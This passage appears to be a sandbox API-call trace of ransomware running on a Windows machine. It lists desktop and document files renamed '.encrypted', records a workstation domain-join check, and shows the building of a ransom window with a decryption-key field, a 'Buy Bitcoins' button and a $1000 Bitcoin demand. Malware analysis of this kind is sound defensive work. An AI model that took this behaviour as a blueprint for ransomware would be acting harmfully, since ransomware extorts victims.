BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0040.993] SendMessageW (hWnd=0x8018a, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0040.993] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.993] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0040.993] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0040.993] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0040.993] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0040.993] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0040.993] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0040.993] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0040.994] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0041.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xbf60f34670, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0041.000] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0041.001] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xbf60cfe2f8, BufferType=0xbf60cfe320 | out: lpNameBuffer=0xbf60cfe2f8*="WORKGROUP", BufferType=0xbf60cfe320) returned 0x0 [0041.005] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0041.006] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.006] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.006] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.006] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0041.006] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.007] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0041.007] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0041.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xbf60f34e10, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0041.013] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0041.013] NetApiBufferSize (in: Buffer=0xbf60f4bec0, ByteCount=0xbf60cfda58 | out: ByteCount=0xbf60cfda58) returned 0x0 [0041.014] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0041.015] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 1 [0041.015] TranslateMessage (lpMsg=0xbf60cfe2e0) returned 0 [0041.015] DispatchMessageW (lpMsg=0xbf60cfe2e0) returned 0xffffffff [0041.015] GetForegroundWindow () returned 0x301cc [0041.015] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0041.015] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.015] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.016] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0041.016] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.016] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.016] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0041.016] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0041.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xbf60f34e50, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0041.022] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0041.023] NetApiBufferFree (Buffer=0xbf60f4bec0) returned 0x0 [0041.023] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0041.024] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.024] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.024] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.024] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.024] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.024] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.025] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.025] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.025] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x8018c, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x801e6 [0041.025] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.025] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x50001, lParam=0x801e6) returned 0x0 [0041.026] GetStockObject (i=17) returned 0x10a0047 [0041.026] SendMessageW (hWnd=0x801e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0041.026] GetSysColor (nIndex=18) returned 0x0 [0041.026] GetClientRect (in: hWnd=0x801e6, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.026] GetWindowRect (in: hWnd=0x801e6, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.026] SetWindowLongPtrW (hWnd=0x801e6, nIndex=-21, dwNewLong=0x5) returned 0x0 [0041.026] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.026] GetDC (hWnd=0x0) returned 0xe010572 [0041.026] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0041.026] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0041.026] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffff9a0a0807 [0041.026] SendMessageW (hWnd=0x801e6, Msg=0x30, wParam=0xffffffff9a0a0807, lParam=0x1) returned 0x0 [0041.026] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.027] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.027] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x8018c, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x5011c [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x0 [0041.028] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x111, wParam=0x4000006, lParam=0x5011c) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x0 [0041.028] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x111, wParam=0x3000006, lParam=0x5011c) returned 0x0 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x55, wParam=0x5011c, lParam=0x3) returned 0x2 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0041.028] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.028] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x60001, lParam=0x5011c) returned 0x0 [0041.028] GetStockObject (i=17) returned 0x10a0047 [0041.028] SendMessageW (hWnd=0x5011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0041.028] GetClientRect (in: hWnd=0x5011c, lpRect=0xbf60cff2d0 | out: lpRect=0xbf60cff2d0) returned 1 [0041.028] GetWindowRect (in: hWnd=0x5011c, lpRect=0xbf60cff2d0 | out: lpRect=0xbf60cff2d0) returned 1 [0041.028] SetWindowLongPtrW (hWnd=0x5011c, nIndex=-21, dwNewLong=0x6) returned 0x0 [0041.029] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.029] GetDC (hWnd=0x0) returned 0xe010572 [0041.029] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0041.029] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0041.029] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x6d0a07bf [0041.029] SendMessageW (hWnd=0x5011c, Msg=0x30, wParam=0x6d0a07bf, lParam=0x1) returned 0x1 [0041.029] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.029] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x8018c, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb0020 [0041.030] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.030] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x55, wParam=0xb0020, lParam=0x3) returned 0x2 [0041.030] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.030] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0041.030] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.030] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x70001, lParam=0xb0020) returned 0x0 [0041.030] GetStockObject (i=17) returned 0x10a0047 [0041.030] SendMessageW (hWnd=0xb0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0041.030] GetClientRect (in: hWnd=0xb0020, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.030] GetWindowRect (in: hWnd=0xb0020, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.030] SetWindowLongPtrW (hWnd=0xb0020, nIndex=-21, dwNewLong=0x7) returned 0x0 [0041.030] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.031] GetDC (hWnd=0x0) returned 0xe010572 [0041.031] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0041.031] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0041.031] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x170a06df [0041.031] SendMessageW (hWnd=0xb0020, Msg=0x30, wParam=0x170a06df, lParam=0x1) returned 0x0 [0041.031] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.031] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0041.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff3b0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff3b0*=0) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff3a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff3a0*=0) returned 1 [0041.032] ReadFile (in: hFile=0x194, lpBuffer=0xbf60f694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3e0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f694d0*, lpNumberOfBytesRead=0xbf60cff3e0*=0x1b, lpOverlapped=0x0) returned 1 [0041.032] ReadFile (in: hFile=0x194, lpBuffer=0xbf60f694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3e0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f694d0*, lpNumberOfBytesRead=0xbf60cff3e0*=0x0, lpOverlapped=0x0) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff420*=27) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff420*=0) returned 1 [0041.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff370, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff370*=0) returned 1 [0041.032] ReadFile (in: hFile=0x194, lpBuffer=0xbf60f694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff3b0, lpOverlapped=0x0 | out: lpBuffer=0xbf60f694d0*, lpNumberOfBytesRead=0xbf60cff3b0*=0x1b, lpOverlapped=0x0) returned 1 [0041.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xbf60f4b080, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0041.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xbf60f4b080, cbMultiByte=28, lpWideCharStr=0xbf60f4b540, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0041.032] CloseHandle (hObject=0x194) returned 1 [0041.033] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.033] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0041.033] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.033] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.033] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.033] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0041.033] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.034] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0041.034] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0041.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xbf60f35030, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 